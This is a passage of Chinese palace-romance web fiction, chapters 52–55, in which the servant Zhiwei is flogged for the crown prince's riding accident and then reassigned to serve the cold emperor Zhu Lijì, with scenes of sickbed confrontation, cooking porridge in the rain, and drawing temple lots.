52. 有情人不得长情(四)
见到眼前人,知微的心脏猛地一缩,几乎是本能地,她飞快地垂下头,整个人佝偻下去,恨不得缩进地里。
祝隶稷负手,目光扫过知微,眉峰几不可察地蹙了下。
“哪来的臭虫。”他问江覃。
“启禀陛下,那是晏姑娘。”平海先江覃一步,回复道。
祝隶稷瞟他一眼:“我问了吗?”
“是奴才失言。”平海毫不手软,给了自己响亮的一巴掌。
知微头仍是低着,她盯着自己沾了泥污的鞋尖和湿漉漉的裙摆看了许久,才慢慢涩出声。
声音干涩得像砂纸磨过:“奴婢……叩谢陛下救命之恩。”
祝隶稷不答。
知微的额头几乎要抵到冰凉的溪石,方才经历打斗,散乱的鬓发垂下来,遮住了她大半张脸,也掩去了所有可能外泄的情绪。
“奴婢是东宫来的,无意冲撞陛下,罪该万死。”知微又道。
“没听过这号人啊。”祝隶稷的目光在知微身上逡巡,“抬起头来让朕瞧瞧。”
知微缓缓仰头,祝隶稷只看了她一眼。
“原来是故人。”祝隶稷淡淡道。
他的目光还在知微身上游走,看她鸡窝般蓬乱的发髻,看她微微颤抖的肩膀,最后落在她那只即使藏在袖中也能看出不自然弯曲弧度的右手腕上。
他鼻腔里几不可闻地轻哼了一声,像是想说什么刻薄话。
可话到了嘴边,看着那截细瘦伶仃、仿佛一折就断的手腕,他心口莫名地被什么东西刺了一下,泛起一丝极细微却不容忽视的涩意,将那点嘲讽堵了回去。
他最终只是漠然地移开视线,拂袖:“滚起来,挡道。”
“是。”知微低低应了一声,手撑着她,试图站起身。
许是蹲久了,又或是惊吓过度,她的腿脚一阵发软,踉跄了一下。
一旁的江覃下意识伸手想扶,指尖将将触及她的衣袖,又猛地顿住,飞快地收回,只低声道:“小心。”
知微已自己稳住了身形,依旧低着头,默默退到路边,让出通道,像一尊没有生气的泥塑人偶。
祝隶稷刚要转身,平海却脚步匆匆地从车队前方赶来,额上带着急汗。
“陛下,太子殿下那边……惊了马,从马背上摔下来了!”
祝隶稷脚步猛地一顿,侧过头,眼神瞬间沉了下去:“人呢?”
——
祝晟原本是憋着一股气。
他好不容易写完了策论,想着下车透透气,瞧见路边野花开得烂漫,一时兴起摘了几朵,想来回去给知微瞧瞧。
花摘到一半,有人影打在花丛,祝晟抬头看,是一帮随驾出行的世家子弟,最前头的那人是前明镜军统领的义子,也是现金吾卫,李台。
两人年纪相差不少,祝晟自认二人没什么交情,但不知为何,他总觉李台恭敬之下,对他却有抹淡淡的恶意。
“呦,是太子殿下。”李台道,“殿下好雅兴啊!这花可比枪杆子好看多了吧?”
也不知是谁,总归是世家子弟,听得李台的话后不由心生戏谑,也无端跟着哄笑起来。
其实什么都没说,但祝晟不是傻子,知道李台是在嘲弄自己不务正事,不是第一回了,大庭广众之下,祝晟面上无光,脸色涨得通红。
少年心性一起,便将花掷在地上,祝晟冲着侍从道:“牵我的‘逐风’来!”
“逐风”是皇帝赏赐的宝马,祝晟喜爱的很,只这马性子过于烈,同祝晟相性不和,是以祝晟很少骑驭。
侍从们面面相觑,却也不敢违抗太子的命令,只得牵来马匹。
“逐风”威猛,体色呈黑。
祝晟翻身上马,手持马鞭,眼神中满是挑衅:“李台,你不是总吹嘘马术了得吗?只敢在这暗讽,敢不敢与我比试一番?”
闻言,李台豪爽一笑,他平日不言,多年前义父被冤枉的案件却是避不过的心结,眼下有机会发泄,他正求之不得,遂翻身上马:“有何不敢?太子殿下,请吧!”
两匹马一前一后冲了出去。
起初,李台还占着上风,风声过耳,祝晟却慢慢赶上,“逐风”是匹再好不过的千里马,比速度可谓无人能及,祝晟心中憋着劲,只想赢得漂亮,让那些人闭嘴,手中马鞭不由得落得更重了些。
可他到底是骑得少了,忘了“逐风”的性子,马鞭过重,“逐风”猛然吃痛,长嘶一声,脾气来了,速度骤然提升。
前方恰好是个急弯,祝晟控缰不及,身子猛地一歪,竟被直接甩了出去。
“殿下!”惊呼声四起。
危机当前,一道身影疾扑过去,正是李台。他到底身手矫健,险险将祝晟接抱住,两人一起滚倒在草丛里,沾了满身的草屑尘土。
——
太子乍受伤,出巡的队列只得临时扎了营。
营帐内,弥漫着淡淡的金疮药气味。
祝晟额角擦破了一块皮,手腕也有些扭伤,太医已来看过,说是不妨事。可他显然吓坏了,脸色发白,靠在软枕上,一见知微进来,眼圈立刻就红了。
“姑姑……”他声音带着哭腔,像小时候受了委屈那样,“我是不是很没用?”
知微坐在榻边,拿出药膏,小心翼翼地替祝晟擦拭额角的伤处,动作轻柔:“李台是武将,骑艺本就不同寻常。”
“再者说,马惊了是常有事,人没事就好。”知微拍了拍他额头,安慰道。
祝晟吸了吸鼻子,顺势靠进她怀里,知微用左手轻轻拍着他的背,像过去无数次那样。
知微见惯了祝晟这模样,倒是和小时候一般,现下还能哭能闹,想来无什么大碍,现下不过是求关注罢了。
“疼不疼?要不要姑姑给你吹吹?”知微玩笑道。
祝晟猛猛点头,知微正要张嘴,祝晟却又缩回了身子。
“父皇……”祝晟软下声来。知微顺着他的视线看,祝隶稷站在门外,不知听了二人多少对话。
他阴沉着脸,目光如刀,刮过依偎在一起的两人。
祝晟吓得一哆嗦
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,忙从知微怀里直起身,想行礼,祝隶稷扬手一巴掌,扇在他脸上。
巴掌清脆,祝晟一边脸红了起来。
祝晟被打懵了,捂着脸,眼中满是惊惧。
“骑术不精,逞强好胜,皇家颜面都被你丢尽了!”祝隶稷的声音没有半分温度,“教养你的宫人呢,叫人来,朕倒要问问怎么便任由你丢人。”
皇子的安危本是大事,祝隶稷纵使平日待人多么严苛,到了要紧关头,也是位担忧孩儿的好父亲。
只知微心头一紧,上前半步:“回陛下,今日是奴婢陪太子出来的。”
祝隶稷的目光这才落到她身上。
“皇子犯错,奴婢亦有责任。来人,将这奴婢拖出去,打十大板,以示警醒!”他冷冷道。
知微早前在辛者库伤过身子,惩罚虽不致命,但多少要见血。
“不要!”祝晟扑到知微身前,张开双臂护住她,“是儿臣自己要比的,跟旁人无关!父皇要罚就罚我!”
见二人举止亲密,祝隶稷不由冷笑。
“你倒是心善,这般菩萨心肠,不如去出家当和尚,还做什么太子!”
此言一出,知微知祝隶稷是真怒了,这样下去谁都保不住。
知微膝盖一软,重重跪在地上:“陛下息怒!是奴婢管教不力,求陛下罚奴婢,饶过太子!”
“此话当真?”祝隶稷俯身,居高临下地捏住知微的面颊,“既然你这么想替他受罚,那就加点料,且受三十大板吧。”
得了指令,两名侍卫上前,架起知微往外走。知微被摁在刑凳上,粗糙的木料硌得她生疼。
木板落在背上的瞬间,剧痛顺着脊椎窜上来,知微死死咬住嘴唇,不让自己发出一点声音。
鲜血很快渗过素色衣料,在地上滴出点点暗红,汗水混着眼泪砸在青砖上,知微却始终抬着眼,直直盯着殿内的祝隶稷。
祝隶稷坐在远处,淡淡喝着茶,一点眼光都不给知微。
午后的太阳正烈,耀得知微眼疲,她也不知道自己到底在看什么,只是死死地盯着那个方向,直到视线彻底被黑暗吞没。
三十板打完,她像一摊被撕碎的破布,软软地从刑凳上滑落,背臀处一片血肉模糊,意识已然涣散。
——
当夜深沉。
知微趴在硬邦邦的板铺上,背后的剧痛一浪高过一浪,火烧火燎般折磨着她每一根神经。她的喉咙干得冒烟,浑身却冷得直打哆嗦,显然是起了高热,整个人昏昏沉沉。
她想伸手去够床头的杯,却没撑住,重重摔在地上。
冰凉的地砖让她清醒了些,还不算完全脱力,她没叫人,只一点点往前爬,指尖快要碰到杯盏时,一只骨节分明的手先一步拾起了杯子。
祝隶稷站着,看着眼前人如同濒死蝼蚁般挣扎。
“想喝水?”祝隶稷的声音带着嘲讽,他倒了杯温水,蹲下身,“朕像喂狗一样喂你,如何?”
知微神志不清,只凭着本能,干裂的嘴唇翕动着,弱弱点头。
53. 费心计几多拉扯(一)
清冽的水滴滋润了干涸的唇舌,知微贪婪地小口啜吸着,就着祝隶稷的手,连喝了好几杯水。
直到意识总算回笼,看清眼前人,知微瞳孔骤缩,像是见到了什么极其可怕的东西,身体猛地向后一缩。
伤口牵动,痛得人倒抽一口凉气,她这才清楚自己不在梦境,祝隶稷正盯着她,目光如炬。
知微下意识朝后躲了躲,祝隶稷像捉小鸡般拎起她后颈,带她凑近些,又是一番沉默与打量,祝隶稷按住知微的肩膀,一字一句道:“这些年,你可知错?”
知微嘴巴张合,细细在心底想了一番,这才厘清祝隶稷说的“错”是何事。
知微想起身,但属实无力,她干脆卸下更多力气,两边手肘撑住地。
“……若是陛下认为我错了,那我便是错了。”知微垂头,嘶哑道。
祝隶稷听着这话,心头却没有痛快,眼前人连一点注目都没给自己,哪有半分真正认错的实意。
祝隶稷加重掐知微后颈的力:“冥顽不灵。”
他猛然掀开知微的衣襟,露出底下青紫交错的伤痕,嘴角不禁勾起一抹讥诮,新添的杖伤还渗着血丝,旧疤叠着新伤,像幅狰狞的地图。
“挨了打,嘴还是这么硬。瞧瞧,后头倒是连点好肉都没了。”
知微不语。
祝隶稷低笑出声,指腹蹭过最浅的一道旧疤:“太子倒是善心,三十板子下去,连瓶像样的金疮药都舍不得给你送来?看来你这姑姑,在他心里也没多重。”
“亏你还为他求情。”祝隶稷合上知微的衣襟,“现下可后悔了?”
知微喘了口气,胸腔火烧火燎地痛,可面色却未变,语气平静:“太子殿下被陛下罚了禁闭,自然无法亲自前来,不过他已遣人送了药来。”
知微艰难地挪动视线,望向屋内那张简陋的木桌,桌上堆着好几个不同式样的瓷瓶和药包,几乎占了一角。
“陛下请看,奴婢并未受委屈。”知微道。
祝隶稷懒懒扫了一眼那堆药,哼了一声,像是懒得计较这点小动作。他转而用指尖按了按她肩头一道颜色稍浅的旧疤:“脸皮倒是厚,皮肉却薄,这点子伤,换了军中人,早该结痂了。”
祝隶稷敛手,随手在衣服上擦了擦:“不若你求求朕,说不定朕心情好了,将太医署专供祛疤的药分你一些,毕竟是女子,多少还是希望肌肤洁净的吧。”
此言一出,知微扯了扯嘴角,笑声里裹着悲凉:“奴婢皮糙肉厚,哪比得陛下金贵。”
便是拒绝求情了。
祝隶稷的声音冷了些:话锋一转,复又碾上知微的伤处:“你不愿为自己求情,对太子倒是忠诚,什么都豁得出去。”
祝隶稷语气不明,听不出是赞是讽。知微不想再琢磨他话中深意,“护卫殿下,是奴婢的本分。”她干脆简练道。
“本分?”祝隶稷的声音陡然沉了下去,带着嗤笑,“那当年在养心殿,你站在李明镜身旁,指认王渺枭,与朕作对时,你的本分又在何处?”
“朕,难道不是你的主子吗,还是说,你只是表面上顺从,背地里早早便背弃了朕?”祝隶稷捏住知微的下巴。
为何站在李明镜身边,这还用问吗。知微惨淡抿了抿唇,却是问出一个意外的问题。
“陛下怎知……那时、奴婢不是在对您尽忠?”知微望着祝隶稷,又像是想透过他望出更多东西。
“奴婢只是,想讨一个真相罢了。”知微笑了笑,对上祝隶稷的眼,时隔多年,两人再一次对上视线,知微那双凤眼依旧亮得惊人。
“再者说,陛下怎知我不忠诚,怎知我不会为陛下豁出去?”
这回轮到祝隶稷沉默了。
他的动作顿住,眸子盯着她,半晌,才煞有介事地问:“你能为朕豁出命?”
祝隶稷捏着她下巴的手指无意识地收紧。帐内陷入死寂,只有油灯偶尔爆出一点噼啪轻响。
有人在等一个答案,有人却是不愿再提。
“陛下这话问得好没意思。刀没砍下来之前,谁知道自己会不会躲呢?同理,事情不到人跟头上……”知微抬眼,“不过都是不存在的假设罢了。奴婢答了,陛下也未必信。”
知微实在撑不住了,背后的剧痛和高热带来的眩晕感阵阵袭来。她试着动了动,想爬回那张硬得硌人的板铺,但稍一用力就眼前发黑。
到底不会有人帮忙,知微索性放弃,将脸贴在冰凉的地面上,蜷缩起身体,里衣松散,露出一段纤细脆弱的脖颈,沉沉昏睡过去。
“朕看你这些年,身子骨是越发不济了。”祝隶稷的声音从头顶传来,似乎还在说着什么,关于朝堂,关于无人能懂的孤寂与权衡……那些字句飘进知微耳中,却模糊得像隔了一层厚厚的水。
她意识涣散,沉入黑暗前最后的感知,是似乎有一根微凉的手指,极轻极缓地戳了戳她的脸颊。
——
知微是在一阵隐约的檀香里醒来的。
身下触感柔软干燥,眼前是上好的厢房。
她怔了好一会儿,才意识到自己躺在了床上,身上换了干净柔软的中衣,连背后火烧火燎的痛楚也减轻了许多,被一种清凉的药膏感取代。
帷幔被轻轻掀开一角,平海恭谨的脸出现在外面:“晏姑姑,您醒了?可要用些清粥?”
知微眨了眨眼,满是茫然:“平公公,这是……”她的声音依旧沙哑。
“这是蜀郡内,姑姑你昏了一天一夜。”平海解释道。
平海脸上堆着恰到好处的笑:“恭喜姑姑,陛下开了恩典,调您回御前伺候。往后您就在陛下跟前当差了,东宫那边,已另派了稳妥人过去。”
知微挣扎着想坐起,听到这话,像是被什么东西攥紧了,身躯猛地一沉,平海连忙上前,虚扶了一把。
知微久久不能回神,调回御前?祝隶稷打的什么主意?
知微又躺回床榻歇息,左思右想不得解,直到黄昏,祝
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隶稷踏入了这间临时拨给她养伤的小屋。
祝隶稷免了她的礼,其他人退下后,知微直言问道:“奴婢做错事了吗,陛下为何将奴婢调离东宫?”
“太子殿下眼下有伤,还需要人照拂。”
祝隶稷淡淡瞥知微一眼:“小伤罢了,太子身侧有医官,还离不开一个连包扎都像是在包萝卜的人?”
“奴婢不是那个意思。”知微曲眉,此次出行路远,祝晟少年脾性,多是离不开体己人看顾。
可眼前人是皇帝,祝晟是太子,唯恐有人挑事之类的话到底不方便多说,只好堵在喉间。
“奴婢愚钝,还请陛下给个理由。”知微认真道。
祝隶稷默默看着她,目光深不见底:“东宫,有时比朕的皇宫更危险。”
祝隶稷语气平淡,却带着不容置疑的威严:“太子不能永远躲在妇人的臂膀后。他是储君,该学会自己看清风浪,站稳脚跟。”
“况且。”祝隶稷神色又深了几分,“你的存在,会耽搁他的成长,我大昭的储君,不需要软肋。”
知微愣住了。
她看着祝隶稷冷硬的侧脸,忽然间明白了什么。
他不是要隔绝她和祝晟,他是觉得祝晟太过依赖她,需要斩断这份依赖,逼着祝晟快速长大,去面对看得见乃至看不见的一切明枪暗箭。
如此……也好。
“奴婢,明白了。”知微垂下眼睫,低声说道。
祝隶稷却打断了她:“你还没真正明白。”
祝隶稷盯着她:“知道朕为何要让你回来吗?”
知微抿紧唇,不答。
祝隶稷走近几步,干脆撩开衣摆,坐在知微身侧。
阴影笼罩下来。
“还记得‘黑电’吗,朕早年的烈马。它性如烈火,等闲人近不得身。朕花了整整三年,熬鹰似的熬它,磨它,最终令它只认朕一人,成了天下最难驯却也最忠心的坐骑。”祝隶稷的指尖几乎要触到知微的脸颊,他在她耳畔低沉道,“朕觉得,你也一样。”
“陛下是想说,您也要彻底驯服奴婢的心?”知微终于懂了,原是在这等着自己呢。也是,祝隶稷是多么睚眦必报,又是多么固执己见的人,他想做成的事,想驯服的人,万万没有半途而废的意思。
知微挑眉,翘起了嘴角:“那,不知陛下要如何驯服奴婢,是像驯服那些畜牲一般?”
闻言,祝隶稷嘴角也是微扬:“你倒是聪明。不过,你觉得自己是畜牲吗?”
“奴婢自然不是畜牲,但在陛下眼中,或许还不如畜牲。”知微翻动眼睫,干脆放开手中攥紧的锦被,在床榻空出块地方,俯下头行礼,“奴婢只是个玩意,陛下要怎样便怎样,奴总归是无话可说。”
知微也是面无表情地淡淡道。
一切都顺着自己的预料发展,祝隶稷自然是高兴,只眼神中闪过一丝复杂的情绪,但很快便恢复了轻快。
“你知道便好。”祝隶稷道。
54. 费心计几多拉扯(二)
几日后,圣驾继续行进。
知微伤未好全,改沉默地跟在祝隶稷的马车旁,有时祝隶稷唤她上车,她也多是低眉顺眼,透着股沉沉的暮气。
她不再多看沿途风景,不再对任何事流露好奇,甚至连祝隶稷偶尔投来的、带着审视与莫名不悦的目光,她也只是更深的低下头,仿佛一尊雕工精致却毫无生气的木偶。
从前在祝晟的车驾上还能说笑,如今倒是沉默至极。祝隶稷瞟过知微垂着的头颅,盘着手上的红木,心冷冷道。
出了蜀郡,便到了湘南。
听闻湘南南山上有一寺庙极其灵验,祝隶稷便停了巡视,脱离大部队,只带上知微与平海一众宫人前去拜庙。
灰云压阵,遮蔽住艳阳,知微抬头朝天上望,有蜻蜓低飞,怕是将雨之兆。
只也不知这雨有多大,知微跟在祝隶稷的车驾后,心道到底是不同于新帝初登,眼下国泰民安,形势一片大好,祝隶稷都有了心情四处游玩。
知微一面想着,一面有雨珠滴在她身,星星点点的,砸在衣上,倒像是巧夺天工的碎花。
雨,越下越大。
夏天的雨本就来得急促,南方又是多雨之地,雷声大作,风驰雨骤,带来泥石流阵阵。山路难行,车驾只好停下,匆匆找了户废弃的茅屋暂歇。
虽是暂歇,平海仍是觉得不妥,怕骤雨难停酿成大祸,朝祝隶稷请示后支起伞,带着几个侍从下山,寻找援兵去了。
其余的宫人守在茅屋的院子,知微跟着祝隶稷到了里间,身上沾了满身泥泞,湿漉漉的衣服紧贴着肌肤,鞋子里每踩一步都发出“咕叽”的水声,令她好生难受。
眼下祝隶稷坐在正厅合眼小憩,不需要人伺候,知微在随身的包裹中抽了件干净的素衣,随意找了间屋,打算换件衣裳。
里室无门,只悬着一块破旧不堪的布帘。知微背对帘子,解开湿衣的系带。外衫滑落,露出仅着藕色肚兜的背脊,知微垂下眼,细致而缓慢地用小帕擦拭身体。
正欲拿起带来的干净中衣,布帘猛地被人掀开。
“我饿了。”祝隶稷捂住小腹,就站在破布帘子下,身形将门口堵了大半。
外头天色晦暗,屋里更是昏暗不明,可他那双眼睛,却精准地钉在知微裸露的背脊上,刮过知微微微颤抖的肩胛,掠过那一道道或深或浅、新旧交叠的伤痕。
雷声在远山滚动,闷沉沉的。祝隶稷眼睫稍怔,喉结动了动,被发闷的雨夏烘着了耳。
“朕说朕饿了。”祝隶稷很快回过神,背过身别过眼,声音没什么起伏,“有什么吃的?”
知微定定瞧着祝隶稷耳朵的潮红。
“陛下稍等,”她终是接过祝隶稷的话,披上干爽的素衣,利落的系上带结,她捞起过落在地上的湿漉外衫,语气比祝隶稷还要平淡,“奴婢马上便好。”
祝隶稷环着手走到了屋外。
檐下,蜘蛛拉网,雨滴遭到截停,淌在光滑网面。
知微很快穿整完毕,掀帘出来,发梢还滴着水。她抬眼,与祝隶稷对上视线。
“看到了?”她走近问,脸上没什么表情。
祝隶稷侧过脸,下颌线绷得有些紧:“什么?”
知微又盯着他瞧了两秒,像是要从他脸上找出点什么,最终只是撇开眼笑了笑:“没什么,灶台在哪儿。”
“找灶台做什么?”祝隶稷蹙眉。
“做饭。”
知微视线往下,瞥过祝隶稷之前还捂着小腹的手:“陛下不是饿了吗?”
两人一前一后走进一个没门的小室,里面已经被荒废了很久,灰尘满布。知微捻起一块抹布,开始打扫灶台,动作熟练而迅速,好像与生俱来便是为做这事。
祝隶稷抱臂靠在门框上,默然看着那抹瘦削的身影忙碌。
待灶台露出原本的木色,知微直起腰,喘了口气,额角渗出细汗。她转头看向祝隶稷:“烦请皇上叫人拿起锅铲。”
祝隶稷挑眉。
知微随即伸出自己的右手,手腕上的伤痕还清晰可见。
“奴婢手笨,使不上劲,怕糟蹋了粮食,也怕烫着了陛下。”知微学着祝隶稷淡淡道。
祝隶稷没说什么,竟没有叫下人,自己接过那柄沉甸甸的铁铲。
触手冰凉油腻,祝隶稷忍不住“啧”出声。
“先添水,火要烧得旺些,等水开了再倒掉,这便算洗过锅了。”知微在一旁指挥,声音懒懒的。
其实祝隶稷压根没有生火的必要,雨势虽大,但车驾上还备有些干果冷食,倒是也能填饱肚子。
只当是皇帝想吃口热乎的吧,知微取了些米,继续指挥祝隶稷。
火仍然不够烈,祝隶稷屈下身,笨拙地添柴。毕竟是少爷出身,没经验,火星几次溅到他的手背上,好在他皮厚,没吭声,仅皱了皱眉。
火舌舔着锅底,祝隶稷靠在灶台边,看着水渐渐泛起细密的气泡。他素来处理朝政时雷厉风行,此刻却像个初学功课的孩童,眼神专注地盯着锅里的动静,连知微叫下米的声都没听着。
“水开了,下米。”知微加了些音量,祝隶稷这才撕开袋口,米粒哗啦啦倒进锅里,激起的水迸溅起来,再次烫着他手。
“慢些,又不是在打仗。”实在是看不过眼,知微扁了扁嘴,“看着米粒在水里滚,从生硬到饱满,从分离到黏稠,很快便好了。”
祝隶稷点头,锅勺不重,在他手中却显得格外沉重,起初搅动时力道没个准头,米粒总粘在勺底,他只能一点点将粘住的米粒刮下来,后来动作渐渐慢了些,竟也找到了窍门,手腕只需轻轻转动,木勺贴着锅壁画圈,米粒自会在沸水中翻滚,渐渐变得饱满。
水汽氤氲中,祝隶稷看着白粥渐渐变得浓稠,一股淡淡的米香飘了出来。他忽然停下搅动的动作,喉结动了动,声音比平时柔和些:“原来煮碗粥,要这么多讲究。”
“不过这锅粥,你花了心思它就会给你反应,是好是坏,立竿见影。”倒是比朝政有趣。”祝隶稷道。
“嗯。”知微终于低低应了一声,声音在灶火的噼啪声中显得有些模糊,“一直是有趣至极的事。”
只可惜……知微动了动手
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,垂下眼来,她没再说话,只是安静地添着柴。
白粥咕嘟冒泡,热粥出锅,祝隶稷甚至主动舀了一勺,递到知微面前:“你尝尝,看行不行。”
知微接过勺子,吹了吹才尝了一口,米粒软糯,粥水浓稠,竟比她预想中好太多。她点了点头:“陛下有天赋,第一次煮就能成这样。”
祝隶稷闻言,嘴角又扬起些弧度,倒是像个受到夸赞的孩子般红了脸,露出些不属于帝王的喜悦来。
知微看着他眼底难得的松弛,也难得发自内心的笑了笑。
祝隶稷将粥盛进粗瓷碗里,竟让人把在外守卫的侍卫叫进来:“都过来尝尝,朕煮的粥。”
侍卫们受宠若惊,捧着碗,面面相觑。
“喝啊。”祝隶稷催促道。
小口啜过,宫人们眼神飘忽,无人敢先开口。
祝隶稷见状,自己舀了一勺,刚入口,眉头就皱紧了。
方才光顾着看米粒的状态,竟没注意米芯还有些夹生。
“夹生。”他放下碗,脸色倏地沉下。
帝王恼怒了,宫人皆以为是自己的错,一一跪下来,低眉忐忑。只知微知道祝隶稷是在生他的气,恨自己做的还不够好。
可世上有什么事是一回便足以完美的呢,若是有这样的存在,哪还需要人的努力。
知微用左手费力地端起水瓢,往锅里添了半瓢水:“再煮煮便是。”
动作迟滞,水瓢倾斜,眼看要拿不稳。祝隶稷几乎是下意识伸手,稳稳托住瓢底。
两人的手指不可避免地触碰。
“雨好像小些了,奴婢去看看。”知微缩回手,转身就往门口走。
祝隶稷的手顿在半空,指尖还残留着那一瞬的微凉与柔软。他看着知微的背影,没说话。
雨声渐歇,檐下水滴断断续续。知微站在檐下,望着远处洗净的山色,不知在想些什么。
祝隶稷从厨房里出来,站到她身旁。
他抬头望向天空:“停得倒是快。”
“是老天懂眼色,为天子行方便了。”知微回头看他,“还是我们沾了陛下的福气。”
祝隶稷极轻地笑了一下,没接话。
——
雨停后,一行人继续往山上的寺庙走。
寺庙不大,香火却很旺。祝隶稷跪在蒲团上,双手合十,祈的是风调雨顺,国泰民安。
知微站在一旁发呆,直到祝隶稷起身,走到她身边。
“没什么想求的?”祝隶稷掸了掸衣摆。
“啊?”知微回过神来,下意识摇头,“陛下所求,便是奴婢所愿。”
“巧言令色。”
闻言,祝隶稷轻哼,却伸手拉过她手腕,将她带到签筒前:“既来了,求一卦。”
“奴婢无所求。”
“无所求便求个随便。”祝隶稷不容拒绝,塞签筒进她左手。
知微无奈,只好随他一起。
她闭上眼睛,心中默念。
不求便不会有希望,没希望便不会再动摇。
她早知道的。
55. 费心计几多拉扯(三)
知微手中的签筒晃了晃,一根签掉了出来,滚到桌子底下的红布里边。
祝隶稷蹲下身去捡,看清签文后,脸上露出难得的笑意:“是好签。”
他站起身,将签文递给知微:“你说你没什么好求的,但朕替你问了,只要你听话,在朕身边好好当女官,出路不会差,朕护你一辈子。”
知微接过签文,上面写着“吉人天相,贵人相助”,她扯了扯嘴角,语气带着奉承:“多谢陛下恩典,奴婢定当尽心侍奉。”
话是这么说,只她心里却清明得很,她过的怎么样,从不是靠天,而是眼前人手握的权利。
祝隶稷这个男人,就像一匹养不亲的狼,残忍狠厉,眼里只有利益,没有真心。早年在蜀郡山洞里的温情,不过是一时的错觉罢了。
至于是否仍对其保有期待,知微笑了笑,所谓期待,早在她跪在养心殿苦苦哀求的那一天,就连同尊严一并被碾碎了。
菩萨拜了,众人离开寺庙。没人注意到,桌案那厚重的红布幔之下,阴影中,静静躺着另一支被疏忽遗落的竹签。
签身冰冷,刻着的签文依稀可辨:
玉石俱焚,劫火燎原。
恩仇必报,同归幽冥。
——
巡视很快结束,知微正式领了祝隶稷贴身宫女之职,和从前不同,不再掺手尚食局一事,只专心侍候祝隶稷,她的腰牌也换成宫廷内侍省特制的腰牌,只有近身侍从才能佩戴,从地位上说,倒是不输平海了。
知微其实无所谓这些虚名,皇宫是皇帝的,宫人也是,奴婢所谓的权柄也不过看主子眼色,连自由进出的权力都没有。
她只是默默混着日子,面上多了几分帝王侍从该有的肃穆。
生活虽然无趣,但也算轻松。祝隶稷没有食言,对她格外宽容,因着她手伤,既不让她端茶递水,也不强求她磨墨铺纸,只是让她静静地站在一旁,偶尔抬眼望她片刻。
他批他的折子,她站她的桩,日子久了,竟也诡异地淌出几分死水微澜般的“和谐”。
再后来,许是知微听话到颇顺祝隶稷心思,他竟将少央调了回来,原以为这辈子都不会相见的主仆见了面,本该高兴,少央却一骨碌跪下身,狠狠磕头。
“当年李将军来找主子的事,是奴婢泄露给皇上的……”少央浑身发着颤,她本可以不必坦白旧事,只她在知微身边久了,有了感情,这些年夜间辗转时总会忧虑知微的处境,是以她必须坦白,哪怕为了些不值钱的良心。
知微定定盯着少央含泪的眼。少央是祝隶稷在她入宫时赏来的婢女,作为祝隶稷的眼线潜伏于身边她不是没想过,只她从来不在意,从知微一个女官处能得知些什么呢,知微万万想不着居然是用自己做局。
当年李明镜的事,知微在很久后终于想通。
祝隶稷选择相信王渺枭,倒不一定是受他蒙蔽,不过是眼下最优解罢了。祝明煜的死亡已成定局,祝隶稷要做的是稳固政权,固权的第一步,便是先夺权。
李明镜自祝明煜身故后一蹶不起,祝隶稷自然要培养自己的新势力,他看中王渺枭,便像是看中一把锐利的刀,虽锋芒太过,但终究能握在自己手上,相比起无法交心却手握重兵的李明镜,祝隶稷选了王渺枭,无可厚非。
只皇帝联合臣子给重臣布局,以近乎羞辱的方式收回军权,知微没想到祝隶稷能这般狠。
还有明煜死亡的真相,知微心中微刺,祝隶稷既已选了王渺枭,到底是不能再调查了。
视线重又聚焦到少央身,知微垂下眼,缓缓吁出口气。
若是有的选,少央估摸也不愿入宫为婢,都是可怜人,谁又何必为难谁。
知微扶她起来。
少央被调回来,依旧沉默寡言,只做事更精细,将知微那点有限的起居打理得妥帖。
知微知道这是少央化解心结的专属方式,也不拦着,怕少央多想,有什么事也都叫上她。
——
这日,知微领着少央去内府司核对养心殿新季用度单子,内务府瞧见知微过来,赶忙添了些新到的绸缎到知微手,说是皇上吩咐专为知微准备的,知微看了看,全是自己不常穿的艳丽色。
她淡淡谢过内务总管,转手让少央挑了几匹绸缎。
宫道冗长,二人走着,迎面撞见江覃自养心殿方向来,眉眼间带着议事后的倦色,手里还捏着几卷奏疏。
“江大人。”知微驻足,微一颔首。
江覃抬眼,见是知微,疲惫里挤出点笑:“晏姑娘。”他目光在她垂着的右手上极快一落,又移开,“这是要去何处?”
“刚去内务府处理了些琐事,正准备回养心殿。”突而想起了什么,知微侧身,对少央道,“把咱们新制的那匣子安神线香,给江大人取一些。”
是了,这些日子实在事少,知微闲下来没事干,便复拾起了沈丹曦所教的制香之术,祝隶稷听闻知微在制香,没说什么,叫平海给了库房腰牌,任知微随意取用香料。
知微近来失寐,遂做了些安神的线香,眼下见到江覃,便想着分上一分。
少央应声欲取,江覃却连连摆手:“使不得。那是专贡御前的物件,江某岂敢僭越。”
“大人说笑了,”知微唇角弯了弯,“这些都是我闲来无事自制的,陛下用的都是南海沉香、紫檀龙涎之类的,我鼓捣的不过是不入流的野植杂卉,提神醒脑尚可,哪敢称贡。”
“大人不嫌弃,拿去熏熏书房,驱驱蚊虫也好。”知微令少央继续动作。
江覃只好接过线香,却并未立即打开:“其实,晏姑娘不必自轻,说不定陛下也在心中期待着你的作品。”
知微听江覃这般说,别过眼来:“江大人便别来寻我玩笑了。”她本意是不想再继续这个话题,江覃却不愿放过,难得的失了眼力见。
“我说的是真的。”江覃凝视着知微平静无波的脸,“姑娘何苦如此妄自菲薄。陛下他……”
江覃顿了顿,声音压低些:“总归日子还长,有些事,过去了就让它过去。活着总得往前看,好日子还在后头。”
知微听得有些焦躁。她以为江覃是懂她的,眼下她淡淡地活,权当自己是个前尘尽忘的聋子瞎子,已是知微最大的“想开”。
可江覃在说什么?让她“过去”,劝告她
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“过去”,跟她说好日子在后头?
呵,这么些年,她难道没有在“过去”?
“好日子?”像是听到了极新鲜的词,知微眼睫一颤,“江大人说的好日子,是什么?是看着人脸色,仰人鼻息,战战兢兢地活着么?”
知微自以为面上的神情已算是容忍,可江覃仍被那眼底一闪而逝的尖锐蜇了一下。
他摆了摆头:“你终究还是没放下。”
“没放下什么。要放下什么。”知微声音倏地冷了下去,“大人慎言。奴婢早已无所求,何谈放下与否。是大人想多了。”
“奴婢还有事,先行一步了。”话不投机,两人各自沉默行礼,错身而过。
——
那匣线香,知微终究还是呈到了养心殿。
祝隶稷正倚着软枕闭目养神,听她低声禀完,眼皮撩开一条缝,瞥了眼那匣线香,鼻腔里轻轻“嗯”了一声。
“难得,你还有这份心。”他指尖在匣盖上叩了叩,难得开怀,“总算记起自个儿还是朕的女官,不是块只会杵着的木头。”
知微垂首:“奴婢份内之事。”
祝隶稷要小憩,知微躬身退下。
走到一半,她想起养心殿的窗户还没合上,祝隶稷喜欢在养心殿起居,平素便也在养心殿熏香,熏的多了,总要开窗透气才好,可窗户开的久了,难免易着凉,思索一番,知微终折了身,回去寻窗。
